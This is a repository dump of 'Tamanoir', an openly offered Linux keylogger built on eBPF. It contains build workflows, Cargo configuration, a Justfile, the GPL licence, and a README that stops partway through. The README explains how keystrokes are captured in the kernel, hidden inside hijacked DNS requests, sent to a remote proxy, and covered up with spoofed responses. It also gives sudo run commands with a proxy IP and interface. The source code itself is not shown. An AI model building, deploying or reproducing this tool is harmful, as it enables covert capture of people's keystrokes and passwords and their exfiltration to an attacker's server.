[
  {
    "path": ".github/FUNDING.yml",
    "content": "github: pythops\n"
  },
  {
    "path": ".github/workflows/ci.yaml",
    "content": "---\nname: CI\non:\n  pull_request:\n  push:\n    branches:\n      - \"*\"\njobs:\n  test:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: taiki-e/install-action@just\n      - uses: cargo-bins/cargo-binstall@main\n      - uses: dtolnay/rust-toolchain@stable\n        with:\n          toolchain: nightly\n          components: clippy rustfmt\n\n      - run: cargo binstall -y bpf-linker\n\n      - name: Build\n        run: just build\n\n      - name: Linting\n        run: |\n          cargo clippy --workspace --all-features -- -D warnings\n          cargo fmt --all -- --check\n"
  },
  {
    "path": ".github/workflows/release.yaml",
    "content": "---\nname: Release\non:\n  push:\n    tags:\n      - \"*\"\njobs:\n  build:\n    permissions:\n      contents: write\n    continue-on-error: false\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v4\n\n      - uses: taiki-e/install-action@just\n\n      - uses: cargo-bins/cargo-binstall@main\n\n      - uses: dtolnay/rust-toolchain@stable\n        with:\n          toolchain: nightly\n          components: clippy rustfmt\n\n      - name: Install the dependencies\n        run: |\n          sudo apt update\n          sudo apt install -y podman binutils-aarch64-linux-gnu musl-tools\n          cargo binstall -y cross\n          cargo binstall -y bpf-linker\n\n      - name: Build tamanoir-ebpf\n        run: just build-ebpf\n\n      - name: Build for arm64 musl\n        run: |\n          CROSS_CONTAINER_ENGINE=podman cross build --target aarch64-unknown-linux-musl --release\n          cp target/aarch64-unknown-linux-musl/release/tamanoir tamanoir-aarch64-unknown-linux-musl\n\n      - name: Build for x86_64 musl\n        run: |\n          CROSS_CONTAINER_ENGINE=podman cross build --target x86_64-unknown-linux-musl --release\n          cp target/x86_64-unknown-linux-musl/release/tamanoir tamanoir-x86_64-unknown-linux-musl\n\n      - name: Upload Binary\n        uses: softprops/action-gh-release@v2\n        with:\n          files: \"tamanoir*\"\n          body: |\n            [Release.md](${{ github.server_url }}/${{ github.repository }}/blob/main/Release.md)\n"
  },
  {
    "path": ".gitignore",
    "content": "### https://raw.github.com/github/gitignore/master/Rust.gitignore\n\n# Generated by Cargo\n# will have compiled files and executables\ndebug/\ntarget/\n\n# These are backup files generated by rustfmt\n**/*.rs.bk\n\nCargo.lock"
  },
  {
    "path": "Cargo.toml",
    "content": "[workspace]\nresolver = \"2\"\nmembers = [\"tamanoir\", \"tamanoir-ebpf\"]\ndefault-members = [\"tamanoir\"]\n\n[workspace.dependencies]\naya = { version = \"0.13\", default-features = false }\naya-ebpf = { version = \"0.1\", default-features = false }\naya-log = { version = \"0.2\", default-features = false }\naya-log-ebpf = { version = \"0.1\", default-features = false }\nanyhow = { version = \"1\", default-features = false }\nenv_logger = { version = \"0.11\", default-features = false }\nlibc = { version = \"0.2\", default-features = false }\nlog = { version = \"0.4\", default-features = false }\ntokio = { version = \"1\", default-features = false }\n\n[profile.dev]\npanic = \"abort\"\n\n[profile.release]\npanic = \"abort\"\n\n"
  },
  {
    "path": "Justfile",
    "content": "set export\n_default:\n    @just --list\n\n# Build ebpf\nbuild-ebpf:\n    cd tamanoir-ebpf && cargo build --release\n\n# Build\nbuild:\n    just build-ebpf\n    cargo build --release\n\n# Run\nrun proxy_ip hijack_ip=\"8.8.8.8\" layout=\"1\" log_level=\"info\":\n    RUST_LOG={{log_level}} sudo -E target/release/tamanoir --proxy-ip {{proxy_ip}} --hijack-ip {{hijack_ip}} --layout {{layout}}\n\n# Run the proxy\nproxy c_manager=\"docker\":\n    cd proxy && \\\n    {{c_manager}} build -t proxy . &&\\\n    {{c_manager}} run --rm -it -p 53:53/udp -e PAYLOAD_LEN=8  proxy\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "<div align=\"center\">\n  <h1> Tamanoir <br> A KeyLogger using eBPF 🐝 </h1>\n  <img src=\"https://github.com/user-attachments/assets/47b8a0ef-6a52-4e2d-8188-e77bb9e98d79\" style=\"width: 40%; height: 40%\"</img>\n  <p><small>\n    <i>\n      A large anteater of Central and South America, Myrmecophaga tridactyla\n    </i>\n  </small></p>\n</div>\n\n## 💡Overview\n\n<div align=\"center\">\n  <img src=\"https://github.com/user-attachments/assets/24f80020-9d60-4f2a-825b-ed56574dfb24\" </img>\n</div>\n\n1. Capture keystrokes and store them in a queue in the kernel.\n2. Intercept DNS requests and inject the captured keystroes in the DNS payload then redirect the request designated remote server acting as a DNS proxy.\n3. On the remote server, extract the keys from the DNS payload and send a valid DNS response.\n4. Intercept the response and modify its source address so the initial request will complete successfully.\n\n<br>\n\n## 🚀 Setup\n\nYou need a Linux based OS.\n\n### ⚒️ Build from source\n\nTo build from source, make sure you have:\n\n- [bpf-linker](https://github.com/aya-rs/bpf-linker) installed.\n- [Rust](https://www.rust-lang.org/tools/install) installed with `nightly` toolchain.\n\n#### 1. Build ebpf program\n\n```\ncd tamanoir-ebpf\ncargo build --release\n```\n\n#### 2. Build user space program\n\n```\ncargo build --release\n```\n\nThis will produce an executable file at `target/release/tamanoir` that you can copy to a directory in your `$PATH`\n\n### 📥 Binary release\n\nYou can download the pre-built binaries from the [release page](https://github.com/pythops/tamanoir/releases)\n\n<br>\n\n## 🪄 Usage\n\n### Tamanoir\n\n```\nRUST_LOG=info sudo -E tamanoir \\\n              --proxy-ip <DNS proxy IP> \\\n              --hijack-ip <locally configured DNS server IP> \\\n              --layout <keyboard layout> \\\n              --iface <network interface name>\n```\n\nfor example:\n\n```\nRUST_LOG=info sudo -E tamanoir \\\n              --proxy-ip 192.168.1.75 \\\n              --hijack-ip 8.8.8.8 \\\n              --layout 0 \\\n              --iface wlan0\n```\n\nCurrenly, there are two supported keyboard layouts:\n\n`0` : qwerty (us)\n\n`1` : azerty (fr)\n\n<br>\n\n### DNS Proxy\n\nOn a remote host, make sure you have [docker](https://docs.docker.com/engine/install/) installed.\n\n#### 1. Build proxy 